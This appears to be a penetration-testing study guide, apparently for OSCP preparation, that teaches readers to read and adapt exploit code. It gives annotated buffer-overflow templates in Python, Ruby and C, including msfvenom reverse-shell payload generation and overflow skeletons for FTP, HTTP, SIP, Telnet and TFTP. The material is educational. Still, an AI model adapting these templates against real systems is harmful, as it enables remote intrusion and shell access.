Domain 3Exploit Dev & AV EvasionCORE

Reading and Understanding Exploit Code

Deep dive into reading, understanding, and modifying exploit code written in Python, Ruby, and C. Covers exploit anatomy, protocol-specific patterns, and a systematic code reading checklist.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#python-exploits#ruby-exploits#code-analysis#oscp

Reading and Understanding Exploit Code

Objective: Develop the ability to read, understand, and modify exploit scripts written in Python, Ruby, and C — the three most common languages you’ll encounter on the OSCP exam and in real-world penetration testing.


Table of Contents

  1. Why You Must Read Exploit Code
  2. The Exploit Anatomy Framework
  3. Python Exploit Deep Dive
  4. Ruby Exploit Deep Dive
  5. C Exploit Deep Dive
  6. Protocol-Specific Exploit Patterns
  7. Python 2 vs Python 3 Compatibility
  8. Code Reading Checklist
  9. Real ExploitDB Walkthroughs
  10. Common Pitfalls and Anti-Patterns
  11. Identifying the Vulnerable Command
  12. Practice Exercises
  13. Quick Reference Card

1. Why You Must Read Exploit Code

On the OSCP exam, you will rarely find a working exploit that works out-of-the-box for your target. The scenarios you’ll face:

Scenario Frequency What You Need to Do
Exploit exists but targets wrong version Very Common Change the vulnerable command, offset, or return addresses
Exploit exists but uses wrong payload architecture Common Swap arch/platform, regenerate payload
Exploit exists but network code fails Common Fix encoding, add/remove trailing bytes, fix socket options
Exploit exists but uses Python 2 on a Python 3 machine Very Common Port syntax, fix socket behavior, fix string/bytes handling
Exploit exists but is for a different language Occasional Port logic from Ruby/C to Python
No exploit exists, only a PoC Rare Convert PoC to a full exploit

The Core Skill

The essential skill is pattern recognition. Once you’ve read enough exploits, you’ll see the same structures repeating:

[IMPORTS] → [CONFIGURATION] → [PAYLOAD GENERATION] → [BUFFER CONSTRUCTION] → [NETWORK DELIVERY]

Every exploit, regardless of language or target, follows this flow. Your job is to identify each section and understand what it does.


2. The Exploit Anatomy Framework

2.1 Universal Exploit Structure

graph TD
    A[IMPORTS / LIBRARIES] --> B[CONFIGURATION<br/>Host, Port, Offsets]
    B --> C[PAYLOAD GENERATION<br/>msfvenom / metasploit]
    C --> D[BUFFER CONSTRUCTION<br/>NOPS + Shellcode + Overwrite]
    D --> E[PROTOCOL HANDSHAKE<br/>Login / Banner / Auth]
    E --> F[VULNERABLE COMMAND<br/>The trigger]
    F --> G[SESSION HANDLING<br/>Keep alive / Listen]
    
    style A fill:#e1f5fe
    style B fill:#e8f5e9
    style C fill:#fff3e0
    style D fill:#fce4ec
    style E fill:#f3e5f5
    style F fill:#ffebee
    style G fill:#e0f2f1

2.2 The Five Layers Explained

Layer 1: Imports

What libraries does the exploit need?

Language Common Imports Purpose
Python socket, struct, sys, os, subprocess Network, binary packing, CLI args, payload exec
Ruby require 'socket', require 'openssl' Network, encrypted connections
C #include <stdio.h>, <stdlib.h>, <string.h>, <sys/socket.h> I/O, memory, strings, networking

Layer 2: Configuration

Hardcoded or argument-driven values:

host = "10.10.10.10"      # Target IP
port = 21                  # Target port
offset = 2003             # Buffer offset to EIP
ret = 0x6a51926a          # Return address (jmp esp)

Layer 3: Payload Generation

Either inline or generated externally:

# Method 1: Inline shellcode (hex string)
buf = "\x90" * 16 + "\xfc\xe8\x82\x00\x00\x00..."

# Method 2: Subprocess call to msfvenom
buf = subprocess.check_output([
    "msfvenom", "-p", "windows/shell_reverse_tcp",
    "LHOST=10.10.14.5", "LPORT=443",
    "-b", "\x00\x0a\x0d\x20", "-f", "c"
]).strip()

Layer 4: Buffer Construction

Assembling the final exploit buffer:

# The classic buffer overflow structure
exploit = (
    b"A" * offset           # Fill the buffer to the overwrite point
    + struct.pack("<I", ret) # Overwrite EIP with controlled address
    + b"\x90" * 16          # NOP sled
    + shellcode              # The payload
)

Layer 5: Network Delivery

Sending the crafted buffer to the target:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# ... protocol handshake ...
s.send(b"VULN_CMD " + exploit + b"\r\n")

3. Python Exploit Deep Dive

Python is by far the most common exploit language on ExploitDB. Let’s dissect a complete exploit line by line.

3.1 Complete Python Exploit Template

Below is a fully annotated Python exploit for a hypothetical FTP server buffer overflow:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Title: VulnerableFTP Server 1.0 - Buffer Overflow
Author: researcher
Date: 2024-01-15
CVE: CVE-2024-XXXX
Tested on: Windows 7 SP1
"""

# ============================================================
# LAYER 1: IMPORTS
# ============================================================
import socket          # Network communication (TCP/UDP)
import struct          # Pack/unpack binary data (for addresses)
import sys             # Command-line arguments, exit codes
import os              # File operations, environment variables
import subprocess      # Spawn msfvenom or other tools
import time            # Delays between operations

# ============================================================
# LAYER 2: CONFIGURATION
# ============================================================
# --- Target Configuration ---
HOST = "10.10.10.10"       # Change to your target IP
PORT = 21                   # FTP default port
TIMEOUT = 10                # Socket timeout in seconds

# --- Exploit Parameters ---
OFFSET = 2003               # Number of bytes to reach EIP
                           # Found via pattern_create/pattern_offset
RET_ADDR = 0x6a51926a      # JMP ESP address in vulnerable DLL
                           # Found via mona.py - contains instruction \xFF\xe4
BAD_CHARS = b"\x00\x0a\x0d" # Bytes that break the payload
                           # \x00 = null terminator (C strings)
                           # \x0a = LF, \x0d = CR (protocol delimiters)

# --- Payload Configuration ---
LHOST = "10.10.14.5"        # Your attacker IP (tun0)
LPORT = 443                 # Reverse shell port

# ============================================================
# LAYER 3: PAYLOAD GENERATION
# ============================================================
def generate_payload():
    """
    Generate reverse shell shellcode using msfvenom.
    Returns raw bytes of the payload.
    """
    # msfvenom command breakdown:
    # -p              : payload type
    # LHOST/LPORT     : connection back parameters
    # -b              : bad characters to avoid
    # -f c            : output format (C string)
    # -e              : encoder (if needed)
    # --encrypt       : encryption (rarely used)
    cmd = [
        "msfvenom",
        "-p", "windows/shell_reverse_tcp",
        f"LHOST={LHOST}",
        f"LPORT={LPORT}",
        "-b", f"{BAD_CHARS.decode()}",
        "-f", "c",
        "--raw"          # No language wrapper, just raw bytes
    ]
    
    try:
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            check=True
        )
        # msfvenom outputs: buf = "\xcc\xcc\xcc..."
        # We need to extract just the hex bytes
        shellcode_str = result.stdout
        # Find the content between quotes
        start = shellcode_str.find('"') + 1
        end = shellcode_str.rfind('"')
        hex_str = shellcode_str[start:end]
        # Convert \xHH escape sequences to actual bytes
        shellcode = bytes.fromhex(
            hex_str.replace("\\x", "")
        )
        return shellcode
    except subprocess.CalledProcessError as e:
        print(f"[!] msfvenom failed: {e}")
        sys.exit(1)

# ============================================================
# LAYER 4: BUFFER CONSTRUCTION
# ============================================================
def build_exploit_buffer(shellcode):
    """
    Construct the final exploit buffer.
    
    Structure:
    [OVERWRITE_BUFFER][EIP_OVERWRITE][NOP_SLED][SHELLCODE][PADDING]
    
    Memory layout after overflow:
    +------------------+     <- High memory
    |    SHELLCODE     |
    +------------------+
    |    NOP SLED      |     <- ESP points here after JMP ESP
    +------------------+
    |      EIP        |     <- Overwritten with JMP ESP address
    +------------------+
    |  OVERWRITE DATA  |     <- Fills original buffer
    +------------------+     <- Low memory
    """
    nop_sled = b"\x90" * 16   # 16 NOP (0x90) instructions
    
    # struct.pack("<I", addr) converts integer to 4-byte little-endian
    # "<" = little-endian byte order
    # "I" = unsigned int (4 bytes)
    eip = struct.pack("<I", RET_ADDR)
    
    exploit = (
        b"A" * OFFSET          # Fill buffer to overwrite point
        + eip                  # Overwrite EIP with JMP ESP
        + nop_sled             # NOP sled for landing zone
        + shellcode             # Reverse shell payload
    )
    
    return exploit

# ============================================================
# LAYER 5: NETWORK DELIVERY
# ============================================================
def exploit_target(host, port, exploit_buffer):
    """
    Connect to target, perform protocol handshake,
    and send the exploit buffer.
    """
    # Create TCP socket
    # AF_INET = IPv4
    # SOCK_STREAM = TCP
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(TIMEOUT)
    
    try:
        # Connect to target
        print(f"[+] Connecting to {host}:{port}...")
        sock.connect((host, port))
        
        # Read initial banner
        banner = sock.recv(1024)
        print(f"[+] Banner: {banner.decode('utf-8', errors='ignore').strip()}")
        
        # =============================================
        # PROTOCOL HANDSHAKE (FTP-specific)
        # =============================================
        # FTP requires authentication before certain commands
        # Each command must end with \r\n (CRLF)
        
        print("[+] Sending FTP commands...")
        
        sock.send(b"USER anonymous\r\n")
        resp = sock.recv(1024)
        print(f"    USER: {resp.decode('utf-8', errors='ignore').strip()}")
        
        sock.send(b"PASS anonymous@\r\n")
        resp = sock.recv(1024)
        print(f"    PASS: {resp.decode('utf-8', errors='ignore').strip()}")
        
        # =============================================
        # THE VULNERABLE COMMAND
        # =============================================
        # This is the critical line - the command that triggers
        # the buffer overflow in the target application
        print("[+] Sending exploit buffer via USER command...")
        
        # The overflow happens in the USER command handler
        # We send our crafted buffer as the username
        sock.send(b"USER " + exploit_buffer + b"\r\n")
        
        # Some exploits need a second command to trigger
        # sock.send(b"PASS A\r\n")
        
        print("[+] Exploit sent! Waiting for reverse shell...")
        
        # Keep socket open to receive any response
        # The reverse shell will come back on a different port
        time.sleep(2)
        
    except socket.timeout:
        print("[!] Connection timed out")
    except ConnectionRefusedError:
        print("[!] Connection refused - check target and port")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        sock.close()

# ============================================================
# MAIN EXECUTION
# ============================================================
def main():
    # Handle command-line arguments
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_ip> <target_port>")
        print(f"Example: {sys.argv[0]} 10.10.10.10 21")
        sys.exit(1)
    
    target_host = sys.argv[1]
    target_port = int(sys.argv[2])
    
    print("=" * 60)
    print("  VulnerableFTP Server 1.0 - Remote Buffer Overflow")
    print("=" * 60)
    print(f"  Target: {target_host}:{target_port}")
    print(f"  Offset: {OFFSET}")
    print(f"  Return: 0x{RET_ADDR:08X}")
    print("=" * 60)
    
    # Step 1: Generate payload
    print("\n[*] Generating payload...")
    shellcode = generate_payload()
    print(f"    Shellcode size: {len(shellcode)} bytes")
    
    # Step 2: Build exploit buffer
    print("[*] Building exploit buffer...")
    exploit_buf = build_exploit_buffer(shellcode)
    print(f"    Total buffer size: {len(exploit_buf)} bytes")
    
    # Step 3: Launch listener (optional, manual)
    print("\n[*] Start your listener manually:")
    print(f"    nc -lvnp {LPORT}")
    print("    Then press Enter to continue...")
    input()
    
    # Step 4: Deliver exploit
    print("[*] Exploiting target...")
    exploit_target(target_host, target_port, exploit_buf)
    
    print("[*] Done.")

if __name__ == "__main__":
    main()

3.2 Key Python Exploit Patterns

Pattern A: The struct.pack Address Encoding

import struct

# Convert integer address to little-endian bytes
addr = 0x6a51926a
packed = struct.pack("<I", addr)
# Result: b'j\x92Qj'  (bytes in little-endian order)

# Format codes you'll see:
# "<I"  = little-endian unsigned int (4 bytes) - most common for x86
# ">I"  = big-endian unsigned int (rare in exploits)
# "<L"  = little-endian unsigned long (same as <I on most systems)
# "<Q"  = little-endian unsigned long long (8 bytes) - x64 addresses
# "<H"  = little-endian unsigned short (2 bytes)

Pattern B: Socket Communication Variations

# Variation 1: Basic TCP connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload)

# Variation 2: With recv loop
s.connect((host, port))
banner = s.recv(1024)
s.send(cmd)
resp = s.recv(4096)

# Variation 3: UDP (connectionless)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(payload, (host, port))

# Variation 4: Raw socket (advanced)
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

Pattern C: Inline vs Generated Shellcode

# INLINE - Hardcoded shellcode (portable, no msfvenom needed)
shellcode = (
    b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
    b"\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c"
    # ... continues
)

# GENERATED - Runtime msfvenom call (flexible, needs MSF installed)
shellcode = subprocess.check_output([
    "msfvenom", "-p", "windows/shell_reverse_tcp",
    "LHOST=10.10.14.5", "LPORT=443", "-f", "c", "--raw"
]).strip()

# HYBRID - Generate once, save to variable
# Best for testing: generate, copy the output, hardcode it

3.3 Python Socket recv() Gotchas

# PROBLEM: recv() may not return all data at once
banner = sock.recv(1024)  # Might only get partial response

# SOLUTION 1: Loop until you get what you need
def recv_until(sock, delimiter=b"\r\n"):
    data = b""
    while True:
        chunk = sock.recv(1024)
        if not chunk:
            break
        data += chunk
        if delimiter in data:
            break
    return data

# SOLUTION 2: Set timeout and handle partial reads
sock.settimeout(5)
try:
    data = sock.recv(4096)
except socket.timeout:
    print("No more data available")

4. Ruby Exploit Deep Dive

Ruby exploits are common for SIP, HTTP, and custom protocol vulnerabilities.

4.1 Complete Ruby Exploit Template

#!/usr/bin/env ruby
#
# Title: VulnerableSIP Server 2.0 - Remote Buffer Overflow
# Author: researcher
# Date: 2024-02-20
# CVE: CVE-2024-YYYY
#

# ============================================================
# LAYER 1: LIBRARIES
# ============================================================
require 'socket'       # TCP/UDP networking
require 'openssl'      # TLS/SSL support (if needed)
require 'base64'       # Base64 encoding/decoding
require 'digest/md5'   # Hash calculations
require 'optparse'     # Command-line argument parsing

# ============================================================
# LAYER 2: CONFIGURATION
# ============================================================
$host = "10.10.10.10"
$port = 5060            # SIP default port
$protocol = :udp        # SIP commonly uses UDP

# Exploit parameters
OFFSET = 2500
RET_ADDR = [0x00405536].pack('V')  # 'V' = little-endian 32-bit
NOP_SLED_SIZE = 32

# ============================================================
# LAYER 3: PAYLOAD
# ============================================================
def generate_shellcode
  # Method 1: Inline shellcode
  shellcode = ""
  shellcode += "\x90" * NOP_SLED_SIZE  # NOP sled
  
  # Windows reverse shell (metasploit generated)
  shellcode += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
  shellcode += "\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c"
  # ... (truncated for brevity)
  
  return shellcode
end

# ============================================================
# LAYER 4: BUFFER CONSTRUCTION
# ============================================================
def build_exploit
  # Ruby string concatenation with * operator for repetition
  buffer = "A" * OFFSET       # Overwrite buffer
  buffer += RET_ADDR           # Overwrite EIP
  buffer += generate_shellcode # NOP sled + shellcode
  
  return buffer
end

# ============================================================
# LAYER 5: NETWORK DELIVERY
# ============================================================
def exploit
  # Create socket based on protocol
  if $protocol == :udp
    sock = UDPSocket.new
  else
    sock = TCPSocket.new($host, $port)
  end
  
  # Build SIP INVITE request with overflow in From header
  sip_request = "INVITE sip:victim@target.com SIP/2.0\r\n"
  sip_request += "Via: SIP/2.0/#{$protocol.upcase} #{`hostname`}:5060\r\n"
  sip_request += "Max-Forwards: 70\r\n"
  sip_request += "From: \"#{build_exploit}\" <sip:attacker@attacker.com>\r\n"
  sip_request += "To: <sip:victim@target.com>\r\n"
  sip_request += "Call-ID: 1234567890\r\n"
  sip_request += "CSeq: 1 INVITE\r\n"
  sip_request += "Content-Length: 0\r\n"
  sip_request += "\r\n"
  
  puts "[+] Sending SIP exploit..."
  sock.send(sip_request, 0, $host, $port)
  puts "[+] Exploit sent! Check your listener."
  
  sock.close if sock.is_a?(TCPSocket)
end

# ============================================================
# MAIN
# ============================================================
# Parse command-line options
OptionParser.new do |opts|
  opts.banner = "Usage: #{__FILE__} [options]"
  
  opts.on("-t", "--target HOST", "Target IP address") do |h|
    $host = h
  end
  
  opts.on("-p", "--port PORT", "Target port (default: 5060)") do |p|
    $port = p.to_i
  end
  
  opts.on("-u", "--udp", "Use UDP protocol") do
    $protocol = :udp
  end
  
  opts.on("-T", "--tcp", "Use TCP protocol") do
    $protocol = :tcp
  end
end.parse!

puts "=" * 50
puts "  VulnerableSIP Server - Remote BOF"
puts "=" * 50
puts "  Target: #{$host}:#{$port}"
puts "  Protocol: #{$protocol}"
puts "=" * 50

exploit

4.2 Ruby-Specific Patterns

String Packing for Addresses

# Ruby's pack method for binary data
[0x6a51926a].pack('V')   # Little-endian 32-bit (most common)
[0x6a51926a].pack('N')   # Big-endian 32-bit
[0x6a51926a].pack('v')   # Little-endian 16-bit
[0x123456789ABCDEF0].pack('Q')  # Big-endian 64-bit
[0x123456789ABCDEF0].pack('q')  # Little-endian 64-bit

# Pack format reference:
# 'V' = 32-bit little-endian (x86 addresses)
# 'N' = 32-bit big-endian
# 'v' = 16-bit little-endian
# 'n' = 16-bit big-endian
# 'Q' = 64-bit big-endian
# 'q' = 64-bit little-endian (x64 addresses)

Ruby Socket Patterns

# TCP socket
sock = TCPSocket.new(host, port)
sock.send(payload, 0)
response = sock.recv(1024)

# UDP socket
sock = UDPSocket.new
sock.send(payload, 0, host, port)

# With timeout
sock = TCPSocket.new(host, port)
sock.close_read             # Don't block on recv
sock.send(payload, 0)

5. C Exploit Deep Dive

C exploits are less common on ExploitDB for network exploits but appear for local privilege escalation, kernel exploits, and compiled attack tools.

5.1 Complete C Exploit Template

/*
 * Title: VulnerableApp 1.0 - Local Privilege Escalation
 * Author: researcher
 * Date: 2024-03-10
 * CVE: CVE-2024-ZZZZ
 * Tested on: Windows 7 SP1 x86
 */

#include <stdio.h>    /* Standard I/O (printf, fopen, etc.) */
#include <stdlib.h>   /* Memory allocation, system() */
#include <string.h>   /* String manipulation (memset, strcpy) */
#include <windows.h>  /* Windows API (for local exploits) */

/* ============================================================
 * LAYER 1: CONFIGURATION
 * ============================================================ */
#define OFFSET        2003
#define RET_ADDR      0x6a51926a
#define NOP_SLED_SIZE 16

/* Reverse shell shellcode (metasploit generated) */
unsigned char shellcode[] = 
    "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
    "\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c"
    /* ... truncated for brevity ... */
    ;

/* ============================================================
 * LAYER 2: BUFFER CONSTRUCTION
 * ============================================================ */
void build_exploit(char *buffer, size_t buffer_size) {
    size_t pos = 0;
    
    /* Fill with 'A' to reach EIP */
    memset(buffer + pos, 'A', OFFSET);
    pos += OFFSET;
    
    /* Overwrite EIP with JMP ESP address (little-endian) */
    *(DWORD *)(buffer + pos) = RET_ADDR;
    pos += 4;
    
    /* NOP sled */
    memset(buffer + pos, 0x90, NOP_SLED_SIZE);
    pos += NOP_SLED_SIZE;
    
    /* Shellcode */
    size_t sc_len = sizeof(shellcode) - 1; /* -1 for null terminator */
    memcpy(buffer + pos, shellcode, sc_len);
    pos += sc_len;
    
    printf("[+] Exploit buffer built: %zu bytes\n", pos);
}

/* ============================================================
 * LAYER 3: DELIVERY METHOD
 * ============================================================ */

/* Method A: Environment variable attack (SHELLCODE env var) */
void env_attack() {
    char exploit_buf[4096];
    
    build_exploit(exploit_buf, sizeof(exploit_buf));
    
    /* Set environment variable with our payload */
    putenv(strdup("SHELLCODE="));
    /* Copy payload to env var via direct memory write */
    
    printf("[+] Environment variable set\n");
    printf("[+] Trigger the vulnerability now...\n");
}

/* Method B: Direct file/pipe attack */
void file_attack(const char *filename) {
    char exploit_buf[4096];
    FILE *fp;
    
    build_exploit(exploit_buf, sizeof(exploit_buf));
    
    fp = fopen(filename, "wb");
    if (!fp) {
        perror("fopen");
        return;
    }
    
    /* Write raw exploit data */
    fwrite(exploit_buf, 1, sizeof(exploit_buf), fp);
    fclose(fp);
    
    printf("[+] Exploit written to %s\n", filename);
}

/* Method C: Named pipe attack (common for service exploits) */
void pipe_attack(const char *pipe_name) {
    char exploit_buf[4096];
    HANDLE hPipe;
    
    build_exploit(exploit_buf, sizeof(exploit_buf));
    
    hPipe = CreateFile(
        pipe_name,
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    );
    
    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to open pipe: %lu\n", GetLastError());
        return;
    }
    
    DWORD bytes_written;
    WriteFile(hPipe, exploit_buf, sizeof(exploit_buf), &bytes_written, NULL);
    CloseHandle(hPipe);
    
    printf("[+] Exploit sent via named pipe\n");
}

/* ============================================================
 * MAIN
 * ============================================================ */
int main(int argc, char *argv[]) {
    printf("=====================================\n");
    printf("  VulnerableApp Local Privilege Escalation\n");
    printf("=====================================\n");
    
    if (argc < 2) {
        printf("Usage: %s <method>\n", argv[0]);
        printf("Methods:\n");
        printf("  env    - Environment variable attack\n");
        printf("  file   - Write to file\n");
        printf("  pipe   - Named pipe attack\n");
        return 1;
    }
    
    if (strcmp(argv[1], "env") == 0) {
        env_attack();
    } else if (strcmp(argv[1], "file") == 0) {
        if (argc < 3) {
            printf("Usage: %s file <filename>\n", argv[0]);
            return 1;
        }
        file_attack(argv[2]);
    } else if (strcmp(argv[1], "pipe") == 0) {
        const char *pipe = "\\\\.\\pipe\\VulnerablePipe";
        pipe_attack(pipe);
    } else {
        printf("[!] Unknown method: %s\n", argv[1]);
        return 1;
    }
    
    return 0;
}

5.2 Key C Exploit Patterns

Address Writing in C

// Method 1: Direct cast (most common)
char buffer[4096];
size_t offset = 2003;
*(DWORD *)(buffer + offset) = 0x6a51926a;

// Method 2: memcpy with packed bytes
unsigned int addr = 0x6a51926a;
memcpy(buffer + offset, &addr, 4);

// Method 3: Manual byte writing
buffer[offset]     = 0x6a;
buffer[offset+1] = 0x51;
buffer[offset+2] = 0x92;
buffer[offset+3] = 0x6a;

// Method 4: Using union
union {
    unsigned int addr;
    char bytes[4];
} converter;
converter.addr = 0x6a51926a;
memcpy(buffer + offset, converter.bytes, 4);

Shellcode in C

// Method 1: Char array (most common)
unsigned char shellcode[] = 
    "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5"
    "\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c";

// Method 2: Hex array
unsigned char shellcode[] = {
    0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00,
    0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64
};

// Getting the length
size_t len = sizeof(shellcode) - 1;  // -1 for null terminator in char array
// OR
size_t len = sizeof(shellcode);       // Exact size for hex array

6. Protocol-Specific Exploit Patterns

Each protocol has its own handshake and command structure. Knowing these patterns lets you quickly identify where the exploit payload goes.

6.1 FTP Exploit Pattern

Connection Flow:
1. CONNECT to port 21
2. RECEIVE banner
3. SEND "USER <username>\r\n"
4. RECEIVE response
5. SEND "PASS <password>\r\n"
6. RECEIVE response
7. SEND "VULNERABLE_CMD <PAYLOAD>\r\n"  ← EXPLOIT HERE
8. RECEIVE crash / reverse shell callback

Common vulnerable commands: USER, PASS, ACCT, REIN, SITE, FEAT

FTP Exploit Skeleton:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))
banner = s.recv(1024)

s.send(b"USER anonymous\r\n")
s.recv(1024)
s.send(b"PASS anonymous@\r\n")
s.recv(1024)

# Overflow in USER command
s.send(b"USER " + payload + b"\r\n")

6.2 HTTP Exploit Pattern

Connection Flow:
1. CONNECT to port 80/443/8080
2. SEND HTTP request with overflow in header/body
3. RECEIVE response (or crash)

Common vulnerable headers: Host, User-Agent, Cookie, Referer, custom headers

HTTP Exploit Skeleton:

# Method 1: Raw socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
request = (
    b"GET / HTTP/1.1\r\n"
    b"Host: " + payload + b"\r\n"        # Overflow in Host header
    b"User-Agent: Mozilla/5.0\r\n"
    b"\r\n"
)
s.send(request)

# Method 2: urllib/requests (for authenticated exploits)
import requests
headers = {"Host": payload}
requests.get(f"http://{host}:80/", headers=headers)

6.3 SIP Exploit Pattern

Connection Flow:
1. CONNECT/SEND to port 5060 (UDP or TCP)
2. SEND SIP INVITE/REGISTER with overflow in header
3. RECEIVE response (or crash)

Common vulnerable headers: From, To, Subject, User-Agent, custom headers

SIP Exploit Skeleton:

sip_request = (
    b"INVITE sip:victim@target.com SIP/2.0\r\n"
    b"Via: SIP/2.0/UDP 10.10.14.5:5060\r\n"
    b"Max-Forwards: 70\r\n"
    b"From: \"" + payload + b"\" <sip:attacker@attacker.com>\r\n"  # Overflow
    b"To: <sip:victim@target.com>\r\n"
    b"Call-ID: unique-id\r\n"
    b"CSeq: 1 INVITE\r\n"
    b"Content-Length: 0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # UDP
sock.sendto(sip_request, (host, 5060))

6.4 Telnet Exploit Pattern

Connection Flow:
1. CONNECT to port 23
2. RECEIVE login prompt
3. SEND username
4. RECEIVE password prompt
5. SEND password (or overflow here)
6. RECEIVE shell prompt or crash

Common overflow points: Username field, password field, post-auth commands

Telnet Exploit Skeleton:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 23))

# Wait for login prompt
banner = s.recv(1024)

# Send username
s.send(b"admin\r\n")
s.recv(1024)

# Overflow in password field
s.send(payload + b"\r\n")

6.5 TFTP Exploit Pattern

Connection Flow:
1. CONNECT to port 69 (UDP)
2. SEND TFTP Read/Write Request with overflow in filename
3. RECEIVE error (or crash)

TFTP is UDP-based, no handshake, just send the request

TFTP Exploit Skeleton:

# TFTP Read Request packet:
# [OPCODE=1 (2 bytes)][FILENAME][NULL][MODE="netascii" (7 bytes)][NULL]
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

tftp_packet = (
    b"\x00\x01" +              # Opcode 1 = Read Request
    payload +                   # Overflow in filename
    b"\x00" +                   # Null terminator
    b"netascii" +               # Transfer mode
    b"\x00"                     # Null terminator
)

sock.sendto(tftp_packet, (host, 69))

6.6 Protocol Pattern Summary Table

Protocol Port Transport Auth Required? Common Overflow Field Packet Terminator
FTP 21 TCP Yes (USER/PASS) USER, PASS, SITE \r\n
HTTP 80/443 TCP Sometimes Headers, Body \r\n\r\n
SIP 5060 UDP/TCP Sometimes From, Subject \r\n\r\n
Telnet 23 TCP Yes Username, Password \r\n
TFTP 69 UDP No Filename \x00
SMTP 25 TCP Sometimes MAIL FROM, RCPT TO \r\n
SNMP 161 UDP Community string Community string N/A (binary)
RDP 3389 TCP Yes Username, credentials N/A (binary)

7. Python 2 vs Python 3 Compatibility

This is the most common issue when running ExploitDB exploits. Python 2 reached end-of-life in 2020, but most Kali/Parrot installations default to Python 3.

7.1 Breaking Changes Summary

Feature Python 2 Python 3 Impact on Exploits
print Statement: print "hello" Function: print("hello") Syntax error
raw_input() Returns string Removed Use input()
input() Evaluates expression Returns string Behavior change
range() Returns list Returns iterator Minor
xrange() Returns iterator Removed Use range()
unicode type Built-in Removed String handling
dict.has_key() Supported Removed Use in operator
except e as var except e, var except e as var Syntax error
string vs bytes Same type (str) Different types Major
/ division Integer: 5/2=2 Float: 5/2=2.5 Logic errors
iteritems() Returns iterator Removed Use items()
socket.send() Accepts str Requires bytes Major

7.2 The String/Bytes Problem (Most Critical)

# ============================================================
# PYTHON 2 (works fine)
# ============================================================
payload = "\x90" * 16 + "\xcc\xcc\xcc"  # str type
s.send(payload)                          # Works!

# ============================================================
# PYTHON 3 (BREAKS)
# ============================================================
payload = "\x90" * 16 + "\xcc\xcc\xcc"  # str type (Unicode!)
s.send(payload)                          # TypeError: a bytes-like object is required

# FIX 1: Use b'' prefix for bytes literals
payload = b"\x90" * 16 + b"\xcc\xcc\xcc"  # bytes type

# FIX 2: Encode strings to bytes
payload = ("\x90" * 16 + "\xcc\xcc\xcc").encode('latin-1')

# FIX 3: Use os.errno style raw bytes
import codecs
payload = codecs.decode("90909090...", "hex")

7.3 Complete Conversion Guide

# ============================================================
# CONVERSION: Python 2 → Python 3
# ============================================================

# 1. Print statements
# Before (Py2):  print "Hello", var
# After (Py3):   print("Hello", var)

# 2. Input function
# Before (Py2):  name = raw_input("Name: ")
# After (Py3):   name = input("Name: ")

# 3. Exception handling
# Before (Py2):  except ValueError, e:
# After (Py3):   except ValueError as e:

# 4. Dictionary iteration
# Before (Py2):  for k, v in d.iteritems():
# After (Py3):   for k, v in d.items():

# 5. Range
# Before (Py2):  for i in xrange(100):
# After (Py3):   for i in range(100):

# 6. Division
# Before (Py2):  result = 5 / 2        # = 2
# After (Py3):   result = 5 // 2       # = 2 (floor division)
#               result = 5 / 2         # = 2.5 (true division)

# 7. Bytes vs String (THE BIG ONE)
# Before (Py2):  payload = "\x90" * 16
# After (Py3):   payload = b"\x90" * 16

# 8. Socket send
# Before (Py2):  s.send("GET / HTTP/1.0\r\n")
# After (Py3):   s.send(b"GET / HTTP/1.0\r\n")

# 9. Socket recv
# Before (Py2):  data = s.recv(1024)       # returns str
# After (Py3):   data = s.recv(1024)       # returns bytes
#               text = data.decode('utf-8')  # to get string

# 10. struct.pack return type
# Before (Py2):  addr = struct.pack("<I", 0x12345678)  # str
# After (Py3):   addr = struct.pack("<I", 0x12345678)  # bytes (same, but type differs)

7.4 Quick Fix Script

When you encounter a Python 2 exploit, apply these sed-style replacements:

# Quick Python 2 to 3 conversion (use with caution, review manually!)
sed -i 's/print /print(/g' exploit.py
sed -i 's/$/)/' exploit.py  # Add closing parens (rough)
sed -i "s/\\\"/b\\\"/g" exploit.py  # Add b prefix to strings
sed -i 's/raw_input/input/g' exploit.py
sed -i 's/except \(.*\), \(.*\)/except \1 as \2/g' exploit.py
sed -i 's/\.iteritems()/.items()/g' exploit.py
sed -i 's/xrange/range/g' exploit.py

Better approach: Manually review and fix each issue. The automated approach often breaks things.

7.5 The latin-1 Encoding Trick

When you have shellcode as a regular string and need bytes:

# This works in Python 3 for shellcode conversion
shellcode_str = "\x90\x90\x90\xfc\xe8\x82\x00"
shellcode_bytes = shellcode_str.encode('latin-1')  # Preserves byte values 0-255

# latin-1 (ISO-8859-1) maps bytes 0x00-0xFF directly to Unicode codepoints
# This is the safest encoding for binary data round-tripping

8. Code Reading Checklist

Use this checklist every time you read a new exploit. Work through it top to bottom.

Phase 1: First Pass — Identify Structure

  • What language is this? (Python / Ruby / C / PowerShell / etc.)
  • What is the target? (Look at title, comments, CVE)
  • What protocol does it use? (FTP / HTTP / SIP / Telnet / custom)
